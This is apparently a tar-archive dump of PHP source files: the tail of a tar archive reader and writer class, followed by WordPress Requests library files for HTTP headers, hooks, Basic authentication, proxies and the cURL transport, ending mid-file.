					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>Response/Headers.php000064400000006035151450174520010436 0ustar00<?php
/**
 * Case-insensitive dictionary, suitable for HTTP headers
 *
 * @package Requests
 */

namespace WpOrg\Requests\Response;

use WpOrg\Requests\Exception;
use WpOrg\Requests\Exception\InvalidArgument;
use WpOrg\Requests\Utility\CaseInsensitiveDictionary;
use WpOrg\Requests\Utility\FilteredIterator;

/**
 * Case-insensitive dictionary, suitable for HTTP headers
 *
 * @package Requests
 */
class Headers extends CaseInsensitiveDictionary {
	/**
	 * Get the given header
	 *
	 * Unlike {@see \WpOrg\Requests\Response\Headers::getValues()}, this returns a string. If there are
	 * multiple values, it concatenates them with a comma as per RFC2616.
	 *
	 * Avoid using this where commas may be used unquoted in values, such as
	 * Set-Cookie headers.
	 *
	 * @param string $offset Name of the header to retrieve.
	 * @return string|null Header value
	 */
	public function offsetGet($offset) {
		if (is_string($offset)) {
			$offset = strtolower($offset);
		}

		if (!isset($this->data[$offset])) {
			return null;
		}

		return $this->flatten($this->data[$offset]);
	}

	/**
	 * Set the given item
	 *
	 * @param string $offset Item name
	 * @param string $value Item value
	 *
	 * @throws \WpOrg\Requests\Exception On attempting to use dictionary as list (`invalidset`)
	 */
	public function offsetSet($offset, $value) {
		if ($offset === null) {
			throw new Exception('Object is a dictionary, not a list', 'invalidset');
		}

		if (is_string($offset)) {
			$offset = strtolower($offset);
		}

		if (!isset($this->data[$offset])) {
			$this->data[$offset] = [];
		}

		$this->data[$offset][] = $value;
	}

	/**
	 * Get all values for a given header
	 *
	 * @param string $offset Name of the header to retrieve.
	 * @return array|null Header values
	 *
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed argument is not valid as an array key.
	 */
	public function getValues($offset) {
		if (!is_string($offset) && !is_int($offset)) {
			throw InvalidArgument::create(1, '$offset', 'string|int', gettype($offset));
		}

		if (is_string($offset)) {
			$offset = strtolower($offset);
		}

		if (!isset($this->data[$offset])) {
			return null;
		}

		return $this->data[$offset];
	}

	/**
	 * Flattens a value into a string
	 *
	 * Converts an array into a string by imploding values with a comma, as per
	 * RFC2616's rules for folding headers.
	 *
	 * @param string|array $value Value to flatten
	 * @return string Flattened value
	 *
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed argument is not a string or an array.
	 */
	public function flatten($value) {
		if (is_string($value)) {
			return $value;
		}

		if (is_array($value)) {
			return implode(',', $value);
		}

		throw InvalidArgument::create(1, '$value', 'string|array', gettype($value));
	}

	/**
	 * Get an iterator for the data
	 *
	 * Converts the internally stored values to a comma-separated string if there is more
	 * than one value for a key.
	 *
	 * @return \ArrayIterator
	 */
	public function getIterator() {
		return new FilteredIterator($this->data, [$this, 'flatten']);
	}
}
HookManager.php000064400000001305151450174520007453 0ustar00<?php
/**
 * Event dispatcher
 *
 * @package Requests\EventDispatcher
 */

namespace WpOrg\Requests;

/**
 * Event dispatcher
 *
 * @package Requests\EventDispatcher
 */
interface HookManager {
	/**
	 * Register a callback for a hook
	 *
	 * @param string $hook Hook name
	 * @param callable $callback Function/method to call on event
	 * @param int $priority Priority number. <0 is executed earlier, >0 is executed later
	 */
	public function register($hook, $callback, $priority = 0);

	/**
	 * Dispatch a message
	 *
	 * @param string $hook Hook name
	 * @param array $parameters Parameters to pass to callbacks
	 * @return boolean Successfulness
	 */
	public function dispatch($hook, $parameters = []);
}
Auth/Basic.php000064400000004755151450174520007216 0ustar00<?php
/**
 * Basic Authentication provider
 *
 * @package Requests\Authentication
 */

namespace WpOrg\Requests\Auth;

use WpOrg\Requests\Auth;
use WpOrg\Requests\Exception\ArgumentCount;
use WpOrg\Requests\Exception\InvalidArgument;
use WpOrg\Requests\Hooks;

/**
 * Basic Authentication provider
 *
 * Provides a handler for Basic HTTP authentication via the Authorization
 * header.
 *
 * @package Requests\Authentication
 */
class Basic implements Auth {
	/**
	 * Username
	 *
	 * @var string
	 */
	public $user;

	/**
	 * Password
	 *
	 * @var string
	 */
	public $pass;

	/**
	 * Constructor
	 *
	 * @since 2.0 Throws an `InvalidArgument` exception.
	 * @since 2.0 Throws an `ArgumentCount` exception instead of the Requests base `Exception.
	 *
	 * @param array|null $args Array of user and password. Must have exactly two elements
	 *
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed argument is not an array or null.
	 * @throws \WpOrg\Requests\Exception\ArgumentCount   On incorrect number of array elements (`authbasicbadargs`).
	 */
	public function __construct($args = null) {
		if (is_array($args)) {
			if (count($args) !== 2) {
				throw ArgumentCount::create('an array with exactly two elements', count($args), 'authbasicbadargs');
			}

			list($this->user, $this->pass) = $args;
			return;
		}

		if ($args !== null) {
			throw InvalidArgument::create(1, '$args', 'array|null', gettype($args));
		}
	}

	/**
	 * Register the necessary callbacks
	 *
	 * @see \WpOrg\Requests\Auth\Basic::curl_before_send()
	 * @see \WpOrg\Requests\Auth\Basic::fsockopen_header()
	 * @param \WpOrg\Requests\Hooks $hooks Hook system
	 */
	public function register(Hooks $hooks) {
		$hooks->register('curl.before_send', [$this, 'curl_before_send']);
		$hooks->register('fsockopen.after_headers', [$this, 'fsockopen_header']);
	}

	/**
	 * Set cURL parameters before the data is sent
	 *
	 * @param resource|\CurlHandle $handle cURL handle
	 */
	public function curl_before_send(&$handle) {
		curl_setopt($handle, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
		curl_setopt($handle, CURLOPT_USERPWD, $this->getAuthString());
	}

	/**
	 * Add extra headers to the request before sending
	 *
	 * @param string $out HTTP header string
	 */
	public function fsockopen_header(&$out) {
		$out .= sprintf("Authorization: Basic %s\r\n", base64_encode($this->getAuthString()));
	}

	/**
	 * Get the authentication string (user:pass)
	 *
	 * @return string
	 */
	public function getAuthString() {
		return $this->user . ':' . $this->pass;
	}
}
Proxy.php000064400000001543151450174520006405 0ustar00<?php
/**
 * Proxy connection interface
 *
 * @package Requests\Proxy
 * @since   1.6
 */

namespace WpOrg\Requests;

use WpOrg\Requests\Hooks;

/**
 * Proxy connection interface
 *
 * Implement this interface to handle proxy settings and authentication
 *
 * Parameters should be passed via the constructor where possible, as this
 * makes it much easier for users to use your provider.
 *
 * @see \WpOrg\Requests\Hooks
 *
 * @package Requests\Proxy
 * @since   1.6
 */
interface Proxy {
	/**
	 * Register hooks as needed
	 *
	 * This method is called in {@see \WpOrg\Requests\Requests::request()} when the user
	 * has set an instance as the 'auth' option. Use this callback to register all the
	 * hooks you'll need.
	 *
	 * @see \WpOrg\Requests\Hooks::register()
	 * @param \WpOrg\Requests\Hooks $hooks Hook system
	 */
	public function register(Hooks $hooks);
}
Transport/Curl.php000064400000046163151450174520010174 0ustar00<?php
/**
 * cURL HTTP transport
 *
 * @package Requests\Transport
 */

namespace WpOrg\Requests\Transport;

use RecursiveArrayIterator;
use RecursiveIteratorIterator;
use WpOrg\Requests\Capability;
use WpOrg\Requests\Exception;
use WpOrg\Requests\Exception\InvalidArgument;
use WpOrg\Requests\Exception\Transport\Curl as CurlException;
use WpOrg\Requests\Requests;
use WpOrg\Requests\Transport;
use WpOrg\Requests\Utility\InputValidator;

/**
 * cURL HTTP transport
 *
 * @package Requests\Transport
 */
final class Curl implements Transport {
	const CURL_7_10_5 = 0x070A05;
	const CURL_7_16_2 = 0x071002;

	/**
	 * Raw HTTP data
	 *
	 * @var string
	 */
	public $headers = '';

	/**
	 * Raw body data
	 *
	 * @var string
	 */
	public $response_data = '';

	/**
	 * Information on the current request
	 *
	 * @var array cURL information array, see {@link https://www.php.net/curl_getinfo}
	 */
	public $info;

	/**
	 * cURL version number
	 *
	 * @var int
	 */
	public $version;

	/**
	 * cURL handle
	 *
	 * @var resource|\CurlHandle Resource in PHP < 8.0, Instance of CurlHandle in PHP >= 8.0.
	 */
	private $handle;

	/**
	 * Hook dispatcher instance
	 *
	 * @var \WpOrg\Requests\Hooks
	 */
	private $hooks;

	/**
	 * Have we finished the headers yet?
	 *
	 * @var boolean
	 */
	private $done_headers = false;

	/**
	 * If streaming to a file, keep the file pointer
	 *
	 * @var resource
	 */
	private $stream_handle;

	/**
	 * How many bytes are in the response body?
	 *
	 * @var int
	 */
	private $response_bytes;

	/**
	 * What's the maximum number of bytes we should keep?
	 *
	 * @var int|bool Byte count, or false if no limit.
	 */
	private $response_byte_limit;

	/**
	 * Constructor
	 */
	public function __construct() {
		$curl          = curl_version();
		$this->version = $curl['version_number'];
		$this->handle  = curl_init();

		curl_setopt($this->handle, CURLOPT_HEADER, false);
		curl_setopt($this->handle, CURLOPT_RETURNTRANSFER, 1);
		if ($this->version >= self::CURL_7_10_5) {
			curl_setopt($this->handle, CURLOPT_ENCODING, '');
		}

		if (defined('CURLOPT_PROTOCOLS')) {
			// phpcs:ignore PHPCompatibility.Constants.NewConstants.curlopt_protocolsFound
			curl_setopt($this->handle, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
		}

		if (defined('CURLOPT_REDIR_PROTOCOLS')) {
			// phpcs:ignore PHPCompatibility.Constants.NewConstants.curlopt_redir_protocolsFound
			curl_setopt($this->handle, CURLOPT_REDIR_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
		}
	}

	/**
	 * Destructor
	 */
	public function __destruct() {
		if (is_resource($this->handle)) {
			curl_close($this->handle);
		}
	}

	/**
	 * Perform a request
	 *
	 * @param string|Stringable $url URL to request
	 * @param array $headers Associative array of request headers
	 * @param string|array $data Data to send either as the POST body, or as parameters in the URL for a GET/HEAD
	 * @param array $options Request options, see {@see \WpOrg\Requests\Requests::response()} for documentation
	 * @return string Raw HTTP result
	 *
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $url argument is not a string or Stringable.
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $headers argument is not an array.
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $data parameter is not an array or string.
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $options argument is not an array.
	 * @throws \WpOrg\Requests\Exception       On a cURL error (`curlerror`)
	 */
	public function request($url, $headers = [], $data = [], $options = []) {
		if (InputValidator::is_string_or_stringable($url) === false) {
			throw InvalidArgument::create(1, '$url', 'string|Stringable', gettype($url));
		}

		if (is_array($headers) === false) {
			throw InvalidArgument::create(2, '$headers', 'array', gettype($headers));
		}

		if (!is_array($data) && !is_string($data)) {
			if ($data === null) {
				$data = '';
			} else {
				throw InvalidArgument::create(3, '$data', 'array|string', gettype($data));
			}
		}

		if (is_array($options) === false) {
			throw InvalidArgument::create(4, '$options', 'array', gettype($options));
		}

		$this->hooks = $options['hooks'];

		$this->setup_handle($url, $headers, $data, $options);

		$options['hooks']->dispatch('curl.before_send', [&$this->handle]);

		if ($options['filename'] !== false) {
			// phpcs:ignore WordPress.PHP.NoSilencedErrors -- Silenced the PHP native warning in favour of throwing an exception.
			$this->stream_handle = @fopen($options['filename'], 'wb');
			if ($this->stream_handle === false) {
				$error = error_get_last();
				throw new Exception($error['message'], 'fopen');
			}
		}

		$this->response_data       = '';
		$this->response_bytes      = 0;
		$this->response_byte_limit = false;
		if ($options['max_bytes'] !== false) {
			$this->response_byte_limit = $options['max_bytes'];
		}

		if (isset($options['verify'])) {
			if ($options['verify'] === false) {
				curl_setopt($this->handle, CURLOPT_SSL_VERIFYHOST, 0);
				curl_setopt($this->handle, CURLOPT_SSL_VERIFYPEER, 0);
			} elseif (is_string($options['verify'])) {
				curl_setopt($this->handle, CURLOPT_CAINFO, $options['verify']);
			}
		}

		if (isset($options['verifyname']) && $options['verifyname'] === false) {
			curl_setopt($this->handle, CURLOPT_SSL_VERIFYHOST, 0);
		}

		curl_exec($this->handle);
		$response = $this->response_data;

		$options['hooks']->dispatch('curl.after_send', []);

		if (curl_errno($this->handle) === CURLE_WRITE_ERROR || curl_errno($this->handle) === CURLE_BAD_CONTENT_ENCODING) {
			// Reset encoding and try again
			curl_setopt($this->handle, CURLOPT_ENCODING, 'none');

			$this->response_data  = '';
			$this->response_bytes = 0;
			curl_exec($this->handle);
			$response = $this->response_data;
		}

		$this->process_response($response, $options);

		// Need to remove the $this reference from the curl handle.
		// Otherwise \WpOrg\Requests\Transport\Curl won't be garbage collected and the curl_close() will never be called.
		curl_setopt($this->handle, CURLOPT_HEADERFUNCTION, null);
		curl_setopt($this->handle, CURLOPT_WRITEFUNCTION, null);

		return $this->headers;
	}

	/**
	 * Send multiple requests simultaneously
	 *
	 * @param array $requests Request data
	 * @param array $options Global options
	 * @return array Array of \WpOrg\Requests\Response objects (may contain \WpOrg\Requests\Exception or string responses as well)
	 *
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $requests argument is not an array or iterable object with array access.
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $options argument is not an array.
	 */
	public function request_multiple($requests, $options) {
		// If you're not requesting, we can't get any responses ¯\_(ツ)_/¯
		if (empty($requests)) {
			return [];
		}

		if (InputValidator::has_array_access($requests) === false || InputValidator::is_iterable($requests) === false) {
			throw InvalidArgument::create(1, '$requests', 'array|ArrayAccess&Traversable', gettype($requests));
		}

		if (is_array($options) === false) {
			throw InvalidArgument::create(2, '$options', 'array', gettype($options));
		}

		$multihandle = curl_multi_init();
		$subrequests = [];
		$subhandles  = [];

		$class = get_class($this);
		foreach ($requests as $id => $request) {
			$subrequests[$id] = new $class();
			$subhandles[$id]  = $subrequests[$id]->get_subrequest_handle($request['url'], $request['headers'], $request['data'], $request['options']);
			$request['options']['hooks']->dispatch('curl.before_multi_add', [&$subhandles[$id]]);
			curl_multi_add_handle($multihandle, $subhandles[$id]);
		}

		$completed       = 0;
		$responses       = [];
		$subrequestcount = count($subrequests);

		$request['options']['hooks']->dispatch('curl.before_multi_exec', [&$multihandle]);

		do {
			$active = 0;

			do {
				$status = curl_multi_exec($multihandle, $active);
			} while ($status === CURLM_CALL_MULTI_PERFORM);

			$to_process = [];

			// Read the information as needed
			while ($done = curl_multi_info_read($multihandle)) {
				$key = array_search($done['handle'], $subhandles, true);
				if (!isset($to_process[$key])) {
					$to_process[$key] = $done;
				}
			}

			// Parse the finished requests before we start getting the new ones
			foreach ($to_process as $key => $done) {
				$options = $requests[$key]['options'];
				if ($done['result'] !== CURLE_OK) {
					//get error string for handle.
					$reason          = curl_error($done['handle']);
					$exception       = new CurlException(
						$reason,
						CurlException::EASY,
						$done['handle'],
						$done['result']
					);
					$responses[$key] = $exception;
					$options['hooks']->dispatch('transport.internal.parse_error', [&$responses[$key], $requests[$key]]);
				} else {
					$responses[$key] = $subrequests[$key]->process_response($subrequests[$key]->response_data, $options);

					$options['hooks']->dispatch('transport.internal.parse_response', [&$responses[$key], $requests[$key]]);
				}

				curl_multi_remove_handle($multihandle, $done['handle']);
				curl_close($done['handle']);

				if (!is_string($responses[$key])) {
					$options['hooks']->dispatch('multiple.request.complete', [&$responses[$key], $key]);
				}

				$completed++;
			}
		} while ($active || $completed < $subrequestcount);

		$request['options']['hooks']->dispatch('curl.after_multi_exec', [&$multihandle]);

		curl_multi_close($multihandle);

		return $responses;
	}

	/**
	 * Get the cURL handle for use in a multi-request
	 *
	 * @param string $url URL to request
	 * @param array $headers Associative array of request headers
	 * @param string|array $data Data to send either as the POST body, or as parameters in the URL for a GET/HEAD
	 * @param array $options Request options, see {@see \WpOrg\Requests\Requests::response()} for documentation
	 * @return resource|\CurlHandle Subrequest's cURL handle
	 */
	public function &get_subrequest_handle($url, $headers, $data, $options) {
		$this->setup_handle($url, $headers, $data, $options);

		if ($options['filename'] !== false) {
			$this->stream_handle = fopen($options['filename'], 'wb');
		}

		$this->response_data       = '';
		$this->response_bytes      = 0;
		$this->response_byte_limit = false;
		if ($options['max_bytes'] !== false) {
			$this->response_byte_limit = $options['max_bytes'];
		}

		$this->hooks = $options['hooks'];

		return $this->handle;
	}

	/**
	 * Setup the cURL handle for the given data
	 *
	 * @param string $url URL to request
	 * @param array $headers Associative array of request headers
	 * @param string|array $data Data to send either as the POST body, or as parameters in the URL for a GET/HEAD
	 * @param array $options Request options, see {@see \WpOrg\Requests\Requests::response()} for documentation
	 */
	private function setup_handle($url, $headers, $data, $options) {
		$options['hooks']->dispatch('curl.before_request', [&$this->handle]);

		// Force closing the connection for old versions of cURL (<7.22).
		if (!isset($headers['Connection'])) {
			$headers['Connection'] = 'close';
		}

		/**
		 * Add "Expect" header.
		 *
		 * By default, cURL adds a "Expect: 100-Continue" to most requests. This header can
		 * add as much as a second to the time it takes for cURL to perform a request. To
		 * prevent this, we need to set an empty "Expect" header. To match the behaviour of
		 * Guzzle, we'll add the empty header to requests that are smaller than 1 MB and use
		 * HTTP/1.1.
		 *
		 * https://curl.se/mail/lib-2017-07/0013.html
		 */
		if (!isset($headers['Expect']) && $options['protocol_version'] === 1.1) {
			$headers['Expect'] = $this->get_expect_header($data);
		}

		$headers = Requests::flatten($headers);

		if (!empty($data)) {
			$data_format = $options['data_format'];

			if ($data_format === 'query') {
				$url  = self::format_get($url, $data);
				$data = '';
			} elseif (!is_string($data)) {
				$data = http_build_query($data, '', '&');
			}
		}

		switch ($options['type']) {
			case Requests::POST:
				curl_setopt($this->handle, CURLOPT_POST, true);
				curl_setopt($this->handle, CURLOPT_POSTFIELDS, $data);
				break;
			case Requests::HEAD:
				curl_setopt($this->handle, CURLOPT_CUSTOMREQUEST, $options['type']);
				curl_setopt($this->handle, CURLOPT_NOBODY, true);
				break;
			case Requests::TRACE:
				curl_setopt($this->handle, CURLOPT_CUSTOMREQUEST, $options['type']);
				break;
			case Requests::PATCH:
			case Requests::PUT:
			case Requests::DELETE:
			case Requests::OPTIONS:
			default:
				curl_setopt($this->handle, CURLOPT_CUSTOMREQUEST, $options['type']);
				if (!empty($data)) {
					curl_setopt($this->handle, CURLOPT_POSTFIELDS, $data);
				}
		}

		// cURL requires a minimum timeout of 1 second when using the system
		// DNS resolver, as it uses `alarm()`, which is second resolution only.
		// There's no way to detect which DNS resolver is being used from our
		// end, so we need to round up regardless of the supplied timeout.
		//
		// https://github.com/curl/curl/blob/4f45240bc84a9aa648c8f7243be7b79e9f9323a5/lib/hostip.c#L606-L609
		$timeout = max($options['timeout'], 1);

		if (is_int($timeout) || $this->version < self::CURL_7_16_2) {
			curl_setopt($this->handle, CURLOPT_TIMEOUT, ceil($timeout));
		} else {
			// phpcs:ignore PHPCompatibility.Constants.NewConstants.curlopt_timeout_msFound
			curl_setopt($this->handle, CURLOPT_TIMEOUT_MS, round($timeout * 1000));
		}

		if (is_int($options['connect_timeout']) || $this->version < self::CURL_7_16_2) {
			curl_setopt($this->handle, CURLOPT_CONNECTTIMEOUT, ceil($options['connect_timeout']));
		} else {
			// phpcs:ignore PHPCompatibility.Constants.NewConstants.curlopt_connecttimeout_msFound
			curl_setopt($this->handle, CURLOPT_CONNECTTIMEOUT_MS, round($options['connect_timeout'] * 1000));
		}

		curl_setopt($this->handle, CURLOPT_URL, $url);
		curl_setopt($this->handle, CURLOPT_USERAGENT, $options['useragent']);
		if (!empty($headers)) {
			curl_setopt($this->handle, CURLOPT_HTTPHEADER, $headers);
		}

		if ($options['protocol_version'] === 1.1) {
			curl_setopt($this->handle, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_1);
		} else {
			curl_setopt($this->handle, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_0);
		}

		if ($options['blocking'] === true) {
			curl_setopt($this->handle, CURLOPT_HEADERFUNCTION, [$this, 'stream_headers']);
			curl_setopt($this->handle, CURLOPT_WRITEFUNCTION, [$this, 'stream_body']);
			curl_setopt($this->handle, CURLOPT_BUFFERSIZE, Requests::BUFFER_SIZE);
		}
	}

	/**
	 * Process a response
	 *
	 * @param string $response Response data from the body
	 * @param array $options Request options
	 * @return string|false HTTP response data including headers. False if non-blocking.
	 * @throws \WpOrg\Requests\Exception If the request resulted in a cURL error.
	 */
	public function process_response($response, $options) {
		if ($options['blocking'] === false) {
			$fake_headers = '';
			$options['hooks']->dispatch('curl.after_request', [&$fake_headers]);
			return false;
		}

		if ($options['filename'] !== false && $this->stream_handle) {
			fclose($this->stream_handle);
			$this->headers = trim($this->headers);
		} else {
			$this->headers .= $response;
		}

		if (curl_errno($this->handle)) {
			$error = sprintf(
				'cURL error %s: %s',
				curl_errno($this->handle),
				curl_error($this->handle)
			);
			throw new Exception($error, 'curlerror', $this->handle);
		}

		$this->info = curl_getinfo($this->handle);

		$options['hooks']->dispatch('curl.after_request', [&$this->headers, &$this->info]);
		return $this->headers;
	}

	/**
	 * Collect the headers as they are received
	 *
	 * @param resource|\CurlHandle $handle cURL handle
	 * @param string $headers Header string
	 * @return integer Length of provided header
	 */
	public function stream_headers($handle, $headers) {
		// Why do we do this? cURL will send both the final response and any
		// interim responses, such as a 100 Continue. We don't need that.
		// (We may want to keep this somewhere just in case)
		if ($this->done_headers) {
			$this->headers      = '';
			$this->done_headers = false;
		}

		$this->headers .= $headers;

		if ($headers === "\r\n") {
			$this->done_headers = true;
		}

		return strlen($headers);
	}

	/**
	 * Collect data as it's received
	 *
	 * @since 1.6.1
	 *
	 * @param resource|\CurlHandle $handle cURL handle
	 * @param string $data Body data
	 * @return integer Length of provided data
	 */
	public function stream_body($handle, $data) {
		$this->hooks->dispatch('request.progress', [$data, $this->response_bytes, $this->response_byte_limit]);
		$data_length = strlen($data);

		// Are we limiting the response size?
		if ($this->response_byte_limit) {
			if ($this->response_bytes === $this->response_byte_limit) {
				// Already at maximum, move on
				return $data_length;
			}

			if (($this->response_bytes + $data_length) > $this->response_byte_limit) {
				// Limit the length
				$limited_length = ($this->response_byte_limit - $this->response_bytes);
				$data           = substr($data, 0, $limited_length);
			}
		}

		if ($this->stream_handle) {
			fwrite($this->stream_handle, $data);
		} else {
			$this->response_data .= $data;
		}

		$this->response_bytes += strlen($data);
		return $data_length;
	}

	/**
	 * Format a URL given GET data
	 *
	 * @param string       $url  Original URL.
	 * @param array|object $data Data to build query using, see {@link https://www.php.net/http_build_query}
	 * @return string URL with data
	 */
	private static function format_get($url, $data) {
		if (!empty($data)) {
			$query     = '';
			$url_parts = parse_url($url);
			if (empty($url_parts['query'])) {
				$url_parts['query'] = '';
			} else {
				$query = $url_parts['query'];
			}

			$query .= '&' . http_build_query($data, '', '&');
			$query  = trim($query, '&');

			if (empty($url_parts['query'])) {
				$url .= '?' . $query;
			} else {
				$url = str_replace($url_parts['query'], $query, $url);
			}
		}

		return $url;
	}

	/**
	 * Self-test whether the transport can be used.
	 *
	 * The available capabilities to test for can be found in {@see \WpOrg\Requests\Capability}.
	 *
